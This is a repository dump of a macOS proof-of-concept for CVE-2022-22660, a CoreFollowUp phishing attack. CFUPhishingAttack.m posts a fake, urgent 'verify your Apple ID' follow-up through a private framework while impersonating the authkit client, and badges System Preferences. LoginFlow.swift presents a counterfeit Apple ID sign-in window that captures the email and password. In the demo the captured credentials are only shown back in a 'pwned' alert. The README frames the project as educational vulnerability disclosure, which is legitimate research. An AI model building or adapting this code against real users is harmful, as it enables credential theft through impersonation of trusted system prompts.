├── Resources
├── SystemPreferences.png
└── SystemPreferences2.png
├── CoreFollowUpPoC
├── Assets.xcassets
│ ├── Contents.json
│ ├── icon.appiconset
│ │ ├── mac-128@1x.png
│ │ ├── mac-128@2x.png
│ │ ├── mac-16@1x.png
│ │ ├── mac-16@2x.png
│ │ ├── mac-256@1x.png
│ │ ├── mac-256@2x.png
│ │ ├── mac-32@1x.png
│ │ ├── mac-32@2x.png
│ │ ├── mac-512@1x.png
│ │ ├── mac-512@2x.png
│ │ └── Contents.json
│ ├── SystemPreferences.imageset
│ │ ├── SystemPreferences.png
│ │ └── Contents.json
│ ├── SystemPreferences2.imageset
│ │ ├── SystemPreferences2.png
│ │ └── Contents.json
│ └── AccentColor.colorset
│ │ └── Contents.json
├── UI
│ ├── CoreFollowUpPoC-Bridging-Header.h
│ └── LoginFlow.swift
├── CoreFollowUpPoC.entitlements
├── AppDelegate.h
├── main.m
├── Info.plist
├── AppDelegate.m
└── Base.lproj
│ └── Main.storyboard
├── Attack
├── CFUPhishingAttack.h
├── CoreFollowUp.h
└── CFUPhishingAttack.m
├── .gitignore
├── README.md
├── LICENSE
└── CoreFollowUpPoC.xcodeproj
├── xcshareddata
└── xcschemes
│ └── CoreFollowUpPoC.xcscheme
└── project.pbxproj
/Resources/SystemPreferences.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/Resources/SystemPreferences.png
--------------------------------------------------------------------------------
/Resources/SystemPreferences2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/Resources/SystemPreferences2.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "author" : "xcode",
4 | "version" : 1
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/UI/CoreFollowUpPoC-Bridging-Header.h:
--------------------------------------------------------------------------------
1 | //
2 | // Use this file to import your target's public headers that you would like to expose to Swift.
3 | //
4 |
5 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-128@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-128@1x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-128@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-128@2x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-16@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-16@1x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-16@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-16@2x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-256@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-256@1x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-256@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-256@2x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-32@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-32@1x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-32@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-32@2x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-512@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-512@1x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-512@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/mac-512@2x.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/SystemPreferences.imageset/SystemPreferences.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/SystemPreferences.imageset/SystemPreferences.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/SystemPreferences2.imageset/SystemPreferences2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/insidegui/CoreFollowUpAttack/HEAD/CoreFollowUpPoC/Assets.xcassets/SystemPreferences2.imageset/SystemPreferences2.png
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/AccentColor.colorset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "colors" : [
3 | {
4 | "idiom" : "universal"
5 | }
6 | ],
7 | "info" : {
8 | "author" : "xcode",
9 | "version" : 1
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/CoreFollowUpPoC.entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/AppDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.h
3 | // CoreFollowUpPoC
4 | //
5 | // Created by Gui Rambo on 23/12/20.
6 | //
7 |
8 | #import
9 |
10 | @interface AppDelegate : NSObject
11 |
12 |
13 | @end
14 |
15 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/SystemPreferences.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "filename" : "SystemPreferences.png",
5 | "idiom" : "universal"
6 | }
7 | ],
8 | "info" : {
9 | "author" : "xcode",
10 | "version" : 1
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/Attack/CFUPhishingAttack.h:
--------------------------------------------------------------------------------
1 | //
2 | // CFUPhishingAttack.h
3 | // CoreFollowUpPoC
4 | //
5 | // Created by Gui Rambo on 23/12/20.
6 | //
7 |
8 | @import Foundation;
9 |
10 | NS_ASSUME_NONNULL_BEGIN
11 |
12 | @interface CFUPhishingAttack : NSObject
13 |
14 | - (void)postNotification;
15 | - (void)clearNotification;
16 |
17 | @end
18 |
19 | NS_ASSUME_NONNULL_END
20 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | __MACOSX
3 | *.pbxuser
4 | !default.pbxuser
5 | *.mode1v3
6 | !default.mode1v3
7 | *.mode2v3
8 | !default.mode2v3
9 | *.perspectivev3
10 | !default.perspectivev3
11 | *.xcworkspace
12 | !default.xcworkspace
13 | xcuserdata
14 | profile
15 | *.moved-aside
16 | DerivedData
17 | .idea/
18 | generatechangelog.sh
19 | Pods/
20 | Carthage
21 | Provisioning
--------------------------------------------------------------------------------
/CoreFollowUpPoC/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // CoreFollowUpPoC
4 | //
5 | // Created by Gui Rambo on 23/12/20.
6 | //
7 |
8 | #import
9 |
10 | int main(int argc, const char * argv[]) {
11 | @autoreleasepool {
12 | // Setup code that might create autoreleased objects goes here.
13 | }
14 | return NSApplicationMain(argc, argv);
15 | }
16 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/SystemPreferences2.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "filename" : "SystemPreferences2.png",
5 | "idiom" : "universal",
6 | "scale" : "1x"
7 | },
8 | {
9 | "idiom" : "universal",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "scale" : "3x"
15 | }
16 | ],
17 | "info" : {
18 | "author" : "xcode",
19 | "version" : 1
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2022-22660: CoreFollowUp phishing attack on macOS
2 |
3 | This project is the proof of concept detailing the macOS bug that would allow processes to perform a very effective phishing attack against users.
4 |
5 | **It is only fully effective when running on macOS versions before 11.3**.
6 |
7 | [The full writeup can be read on my blog](https://rambo.codes/posts/2022-03-15-how-a-macos-bug-could-have-allowed-for-a-serious-phishing-attack-against-users).
8 |
9 | Note: this is provided for educational purposes only and should only be used against your own devices or devices of people who have given you explicit permission to do so.
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2021 Guilherme Rambo
2 |
3 | Redistribution and use in source and binary forms, with or without
4 | modification, are permitted provided that the following conditions are met:
5 |
6 | - Redistributions of source code must retain the above copyright notice, this
7 | list of conditions and the following disclaimer.
8 |
9 | - Redistributions in binary form must reproduce the above copyright notice,
10 | this list of conditions and the following disclaimer in the documentation
11 | and/or other materials provided with the distribution.
12 |
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
14 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
15 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
17 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
18 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
19 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
20 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
21 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
22 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleExecutable
8 | $(EXECUTABLE_NAME)
9 | CFBundleIconFile
10 |
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | $(PRODUCT_BUNDLE_PACKAGE_TYPE)
19 | CFBundleShortVersionString
20 | 1.0
21 | CFBundleURLTypes
22 |
23 |
24 | CFBundleTypeRole
25 | Editor
26 | CFBundleURLIconFile
27 |
28 | CFBundleURLName
29 | codes.rambo.experiment.followup
30 | CFBundleURLSchemes
31 |
32 | x-rambo-followup
33 |
34 |
35 |
36 | CFBundleVersion
37 | 1
38 | LSMinimumSystemVersion
39 | $(MACOSX_DEPLOYMENT_TARGET)
40 | LSUIElement
41 |
42 | NSMainStoryboardFile
43 | Main
44 | NSPrincipalClass
45 | NSApplication
46 |
47 |
48 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Assets.xcassets/icon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "filename" : "mac-16@1x.png",
5 | "idiom" : "mac",
6 | "scale" : "1x",
7 | "size" : "16x16"
8 | },
9 | {
10 | "filename" : "mac-16@2x.png",
11 | "idiom" : "mac",
12 | "scale" : "2x",
13 | "size" : "16x16"
14 | },
15 | {
16 | "filename" : "mac-32@1x.png",
17 | "idiom" : "mac",
18 | "scale" : "1x",
19 | "size" : "32x32"
20 | },
21 | {
22 | "filename" : "mac-32@2x.png",
23 | "idiom" : "mac",
24 | "scale" : "2x",
25 | "size" : "32x32"
26 | },
27 | {
28 | "filename" : "mac-128@1x.png",
29 | "idiom" : "mac",
30 | "scale" : "1x",
31 | "size" : "128x128"
32 | },
33 | {
34 | "filename" : "mac-128@2x.png",
35 | "idiom" : "mac",
36 | "scale" : "2x",
37 | "size" : "128x128"
38 | },
39 | {
40 | "filename" : "mac-256@1x.png",
41 | "idiom" : "mac",
42 | "scale" : "1x",
43 | "size" : "256x256"
44 | },
45 | {
46 | "filename" : "mac-256@2x.png",
47 | "idiom" : "mac",
48 | "scale" : "2x",
49 | "size" : "256x256"
50 | },
51 | {
52 | "filename" : "mac-512@1x.png",
53 | "idiom" : "mac",
54 | "scale" : "1x",
55 | "size" : "512x512"
56 | },
57 | {
58 | "filename" : "mac-512@2x.png",
59 | "idiom" : "mac",
60 | "scale" : "2x",
61 | "size" : "512x512"
62 | }
63 | ],
64 | "info" : {
65 | "author" : "xcode",
66 | "version" : 1
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/Attack/CoreFollowUp.h:
--------------------------------------------------------------------------------
1 | //
2 | // CoreFollowUp.h
3 | // CoreFollowUpPoC
4 | //
5 | // Created by Gui Rambo on 23/12/20.
6 | //
7 |
8 | @import Foundation;
9 |
10 | // Classes dumped from CoreFollowUp.framework
11 |
12 | #define kFollowUpGroupAccount @"com.apple.followup.group.account"
13 |
14 | @interface FLFollowUpAction: NSObject
15 |
16 | + (instancetype)actionWithLabel:(NSString *)label url:(NSURL *)url;
17 | @property (copy) NSURL *launchActionURL;
18 | @property (copy) NSString *label;
19 | @property (copy) NSArray *launchActionArguments;
20 |
21 | @end
22 |
23 | @interface FLFollowUpNotification: NSObject
24 |
25 | @property (copy) NSString *title;
26 | @property (copy) NSString *informativeText;
27 | @property (strong) FLFollowUpAction *activateAction;
28 |
29 | @end
30 |
31 | @interface FLFollowUpItem: NSObject
32 |
33 | @property (copy) NSString *title;
34 | @property (copy) NSString *informativeText;
35 | @property (copy) NSString *bundleIconName;
36 | @property (strong) FLFollowUpNotification *notification;
37 | @property (assign) NSUInteger displayStyle; // 4
38 | @property (copy) NSArray *actions;
39 | @property (copy) NSString *representingBundlePath;
40 | @property (copy) NSString *groupIdentifier;
41 |
42 | @end
43 |
44 | @interface FLFollowUpController: NSObject
45 |
46 | - (instancetype)initWithClientIdentifier:(NSString *)identifier;
47 | - (void)postFollowUpItem:(FLFollowUpItem *)item completion:(void(^)(BOOL success, NSError *error))completionHandler;
48 | - (void)clearPendingFollowUpItemsWithCompletion:(void(^)(BOOL success, NSError *error))completionHandler;
49 |
50 | @end
51 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/AppDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.m
3 | // CoreFollowUpPoC
4 | //
5 | // Created by Gui Rambo on 23/12/20.
6 | //
7 |
8 | #import "AppDelegate.h"
9 |
10 | #import "CoreFollowUpPoC-Swift.h"
11 |
12 | #import "CFUPhishingAttack.h"
13 |
14 | @interface AppDelegate ()
15 |
16 | @property (strong) CFUPhishingAttack *attack;
17 | @property (strong) LoginFlowWindowController *loginFlow;
18 |
19 | @end
20 |
21 | @implementation AppDelegate
22 |
23 | - (void)applicationWillFinishLaunching:(NSNotification *)notification
24 | {
25 | [NSAppleEventManager.sharedAppleEventManager setEventHandler:self andSelector:@selector(handleEvent:withReplyEvent:) forEventClass:kInternetEventClass andEventID:kAEGetURL];
26 | }
27 |
28 | - (void)applicationDidFinishLaunching:(NSNotification *)notification
29 | {
30 | NSString *testURL = [[NSUserDefaults standardUserDefaults] stringForKey:@"CFUOpenURL"];
31 |
32 | if (testURL) {
33 | [self cfu_openURL:testURL];
34 | } else {
35 | NSLog(@"Triggering attack in 10s...");
36 |
37 | self.attack = [CFUPhishingAttack new];
38 |
39 | dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(10 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
40 | [self.attack postNotification];
41 | });
42 | }
43 | }
44 |
45 | - (void)handleEvent:(NSAppleEventDescriptor *)event withReplyEvent:(NSAppleEventDescriptor *)reply
46 | {
47 | NSString *url = [event paramDescriptorForKeyword:keyDirectObject].stringValue;
48 | NSLog(@"Handle URL: %@", url);
49 |
50 | [self cfu_openURL:url];
51 | }
52 |
53 | - (void)cfu_openURL:(NSString *)url
54 | {
55 | if ([url hasSuffix:@"login"]) {
56 | [self showLoginFlow];
57 | }
58 | }
59 |
60 | - (void)showLoginFlow
61 | {
62 | [NSApp activateIgnoringOtherApps:YES];
63 |
64 | dispatch_async(dispatch_get_main_queue(), ^{
65 | self.loginFlow = [LoginFlowWindowController instantiate];
66 | [self.loginFlow showWindow:self];
67 | [self.loginFlow.window center];
68 | });
69 | }
70 |
71 | @end
72 |
--------------------------------------------------------------------------------
/Attack/CFUPhishingAttack.m:
--------------------------------------------------------------------------------
1 | //
2 | // CFUPhishingAttack.m
3 | // CoreFollowUpPoC
4 | //
5 | // Created by Gui Rambo on 23/12/20.
6 | //
7 |
8 | #import "CFUPhishingAttack.h"
9 |
10 | #import "CoreFollowUp.h"
11 |
12 | @interface CFUPhishingAttack ()
13 |
14 | @property (strong) FLFollowUpController *followUpController;
15 |
16 | @end
17 |
18 | @implementation CFUPhishingAttack
19 |
20 | - (instancetype)init
21 | {
22 | self = [super init];
23 |
24 | [[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/CoreFollowUp.framework"] load];
25 |
26 | self.followUpController = [[NSClassFromString(@"FLFollowUpController") alloc] initWithClientIdentifier:@"com.apple.authkit"];
27 | NSLog(@"%@", self.followUpController);
28 |
29 | return self;
30 | }
31 |
32 | - (void)postNotification
33 | {
34 | // This code posts a follow up item that sends a notification, badges the System Preferences app icon in the Dock,
35 | // and shows a scary-looking message in system preferences below the user's Apple ID. The URL is for the URL scheme
36 | // of this proof-of-concept app, when activated it shows a fake Apple ID sign in panel.
37 |
38 | FLFollowUpItem *item = [NSClassFromString(@"FLFollowUpItem") new];
39 | item.title = @"Please confirm your Apple ID information";
40 | item.informativeText = @"We have identified an issue with your Apple ID that requires your immediate attention. Please verify your information within the next 24 hours to preserve access to Apple's services.";
41 | item.groupIdentifier = kFollowUpGroupAccount;
42 | item.displayStyle = 4;
43 | item.actions = @[[NSClassFromString(@"FLFollowUpAction") actionWithLabel:@"Verify Now" url:[NSURL URLWithString:@"x-rambo-followup://login"]]];
44 |
45 | FLFollowUpAction *activateAction = [NSClassFromString(@"FLFollowUpAction") new];
46 | activateAction.label = @"Verify Now";
47 | activateAction.launchActionURL = [NSURL fileURLWithPath:@"/System/Applications/System Preferences.app"];
48 |
49 | FLFollowUpNotification *note = [NSClassFromString(@"FLFollowUpNotification") new];
50 | note.activateAction = activateAction;
51 | note.title = @"Verify your Apple ID Information";
52 | note.informativeText = @"Please verify your Apple ID information within the next 24 hours to preserve access to Apple's services.";
53 | item.notification = note;
54 |
55 | [self.followUpController postFollowUpItem:item completion:^(BOOL success, NSError *error) {
56 | NSLog(@"Post item success = %@, error = %@", @(success), error);
57 | }];
58 | }
59 |
60 | - (void)clearNotification
61 | {
62 | [self.followUpController clearPendingFollowUpItemsWithCompletion:^(BOOL success, NSError *error) {
63 | NSLog(@"Clear items success = %@, error = %@", @(success), error);
64 | }];
65 | }
66 |
67 | @end
68 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC.xcodeproj/xcshareddata/xcschemes/CoreFollowUpPoC.xcscheme:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
43 |
45 |
51 |
52 |
53 |
54 |
57 |
58 |
59 |
60 |
66 |
68 |
74 |
75 |
76 |
77 |
79 |
80 |
83 |
84 |
85 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/UI/LoginFlow.swift:
--------------------------------------------------------------------------------
1 | //
2 | // LoginFlow.swift
3 | // CoreFollowUpPoC
4 | //
5 | // Created by Guilherme Rambo on 3/14/22.
6 | //
7 |
8 | import SwiftUI
9 |
10 | @objc final class LoginFlowWindowController: NSWindowController {
11 |
12 | private let viewModel = LoginViewModel()
13 |
14 | convenience init() {
15 | let window = NSWindow(contentRect: NSRect(x: 0, y: 0, width: 600, height: 180), styleMask: [.titled], backing: .buffered, defer: false)
16 |
17 | self.init(window: window)
18 |
19 | contentViewController = NSHostingController(rootView: LoginView().environmentObject(viewModel))
20 | window.title = "Apple ID Verification"
21 | }
22 |
23 | @objc class func instantiate() -> LoginFlowWindowController {
24 | LoginFlowWindowController()
25 | }
26 |
27 | }
28 |
29 | final class LoginViewModel: ObservableObject {
30 |
31 | enum State: Hashable {
32 | case email
33 | case password
34 | case loading
35 | case alert
36 | }
37 |
38 | @Published var state = State.email
39 |
40 | @Published var email = ""
41 | @Published var password = ""
42 |
43 | func signIn() {
44 | state = .loading
45 |
46 | DispatchQueue.main.asyncAfter(deadline: .now() + 1.2) {
47 | self.state = .alert
48 | }
49 | }
50 |
51 | }
52 |
53 | struct LoginView: View {
54 | @EnvironmentObject var viewModel: LoginViewModel
55 |
56 | var body: some View {
57 | VStack(alignment: .leading) {
58 | HStack {
59 | logo
60 |
61 | VStack(alignment: .leading) {
62 | Text("Your Apple ID lets you access your music, photos, contacts, calendars, and more on your devices, automatically.")
63 | .font(.system(size: 13, weight: .medium))
64 | .lineLimit(nil)
65 | .fixedSize(horizontal: false, vertical: true)
66 |
67 | form
68 | }
69 | }
70 | }
71 | .padding()
72 | .frame(minWidth: 600, maxWidth: 600)
73 | .alert(isPresented: .constant(viewModel.state == .alert), content: {
74 | Alert(title: Text("You've been pwned"), message: Text("Apple ID: \(viewModel.email)\nPassword:\(viewModel.password)"), dismissButton: .cancel(Text("¯\\_(ツ)_/¯")))
75 | })
76 | }
77 |
78 | private var logo: some View {
79 | VStack {
80 | Image("SystemPreferences2")
81 | .resizable()
82 | .aspectRatio(contentMode: .fit)
83 | .frame(width: 120)
84 | Text("Apple ID")
85 | .bold()
86 | }
87 | }
88 |
89 | private var form: some View {
90 | VStack(alignment: .trailing) {
91 | HStack(spacing: 0) {
92 | Text("Apple ID:")
93 | .frame(width: 80)
94 | .multilineTextAlignment(.trailing)
95 | .offset(x: 1, y: 0)
96 |
97 | TextField("Apple ID", text: $viewModel.email, onCommit: {
98 | viewModel.state = .password
99 | })
100 | }
101 |
102 | if viewModel.state != .email {
103 | HStack(spacing: 0) {
104 | Text("Password:")
105 | .frame(width: 80)
106 | .multilineTextAlignment(.trailing)
107 |
108 | SecureField("Password", text: $viewModel.password, onCommit: {
109 | viewModel.signIn()
110 | })
111 | }
112 | }
113 |
114 | Button(buttonTitle) {
115 | viewModel.signIn()
116 | }
117 | .disabled(viewModel.state == .loading)
118 | }
119 | .padding()
120 | .disabled(viewModel.state == .loading)
121 | }
122 |
123 | private var buttonTitle: String {
124 | switch viewModel.state {
125 | case .email:
126 | return "Next"
127 | case .password:
128 | return "Sign In"
129 | case .loading:
130 | return "Please Wait…"
131 | case .alert:
132 | return "pwned"
133 | }
134 | }
135 | }
136 |
137 | struct LoginFlow_Previews: PreviewProvider {
138 | static var previews: some View {
139 | LoginView()
140 | .environmentObject(LoginViewModel())
141 | }
142 | }
143 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 50;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 517AEB3627DFB06000D00075 /* LoginFlow.swift in Sources */ = {isa = PBXBuildFile; fileRef = 517AEB3527DFB06000D00075 /* LoginFlow.swift */; };
11 | 51BAB29527DF9CEF00B2FC6D /* Resources in Resources */ = {isa = PBXBuildFile; fileRef = 51BAB29427DF9CEF00B2FC6D /* Resources */; };
12 | DD0D79552593AECB0065267F /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = DD0D79542593AECB0065267F /* AppDelegate.m */; };
13 | DD0D795A2593AECC0065267F /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = DD0D79592593AECC0065267F /* Assets.xcassets */; };
14 | DD0D795D2593AECC0065267F /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = DD0D795B2593AECC0065267F /* Main.storyboard */; };
15 | DD0D79602593AECC0065267F /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = DD0D795F2593AECC0065267F /* main.m */; };
16 | DD0D79982593B8B70065267F /* CFUPhishingAttack.m in Sources */ = {isa = PBXBuildFile; fileRef = DD0D79972593B8B70065267F /* CFUPhishingAttack.m */; };
17 | /* End PBXBuildFile section */
18 |
19 | /* Begin PBXFileReference section */
20 | 517AEB3427DFB06000D00075 /* CoreFollowUpPoC-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "CoreFollowUpPoC-Bridging-Header.h"; sourceTree = ""; };
21 | 517AEB3527DFB06000D00075 /* LoginFlow.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LoginFlow.swift; sourceTree = ""; };
22 | 51BAB29427DF9CEF00B2FC6D /* Resources */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text; path = Resources; sourceTree = SOURCE_ROOT; };
23 | DD0D79502593AECB0065267F /* CoreFollowUpPoC.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = CoreFollowUpPoC.app; sourceTree = BUILT_PRODUCTS_DIR; };
24 | DD0D79532593AECB0065267F /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; };
25 | DD0D79542593AECB0065267F /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; };
26 | DD0D79592593AECC0065267F /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; };
27 | DD0D795C2593AECC0065267F /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; };
28 | DD0D795E2593AECC0065267F /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
29 | DD0D795F2593AECC0065267F /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; };
30 | DD0D79612593AECC0065267F /* CoreFollowUpPoC.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = CoreFollowUpPoC.entitlements; sourceTree = ""; };
31 | DD0D79682593B2A40065267F /* CoreFollowUp.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CoreFollowUp.h; sourceTree = ""; };
32 | DD0D79962593B8B70065267F /* CFUPhishingAttack.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CFUPhishingAttack.h; sourceTree = ""; };
33 | DD0D79972593B8B70065267F /* CFUPhishingAttack.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CFUPhishingAttack.m; sourceTree = ""; };
34 | /* End PBXFileReference section */
35 |
36 | /* Begin PBXFrameworksBuildPhase section */
37 | DD0D794D2593AECB0065267F /* Frameworks */ = {
38 | isa = PBXFrameworksBuildPhase;
39 | buildActionMask = 2147483647;
40 | files = (
41 | );
42 | runOnlyForDeploymentPostprocessing = 0;
43 | };
44 | /* End PBXFrameworksBuildPhase section */
45 |
46 | /* Begin PBXGroup section */
47 | 517AEB3327DFB05200D00075 /* UI */ = {
48 | isa = PBXGroup;
49 | children = (
50 | 517AEB3527DFB06000D00075 /* LoginFlow.swift */,
51 | 517AEB3427DFB06000D00075 /* CoreFollowUpPoC-Bridging-Header.h */,
52 | );
53 | path = UI;
54 | sourceTree = "";
55 | };
56 | DD0D79472593AECB0065267F = {
57 | isa = PBXGroup;
58 | children = (
59 | DD0D79952593B8A60065267F /* Attack */,
60 | DD0D79522593AECB0065267F /* CoreFollowUpPoC */,
61 | DD0D79512593AECB0065267F /* Products */,
62 | );
63 | sourceTree = "";
64 | };
65 | DD0D79512593AECB0065267F /* Products */ = {
66 | isa = PBXGroup;
67 | children = (
68 | DD0D79502593AECB0065267F /* CoreFollowUpPoC.app */,
69 | );
70 | name = Products;
71 | sourceTree = "";
72 | };
73 | DD0D79522593AECB0065267F /* CoreFollowUpPoC */ = {
74 | isa = PBXGroup;
75 | children = (
76 | 517AEB3327DFB05200D00075 /* UI */,
77 | 51BAB29427DF9CEF00B2FC6D /* Resources */,
78 | DD0D79532593AECB0065267F /* AppDelegate.h */,
79 | DD0D79542593AECB0065267F /* AppDelegate.m */,
80 | DD0D79592593AECC0065267F /* Assets.xcassets */,
81 | DD0D795B2593AECC0065267F /* Main.storyboard */,
82 | DD0D795E2593AECC0065267F /* Info.plist */,
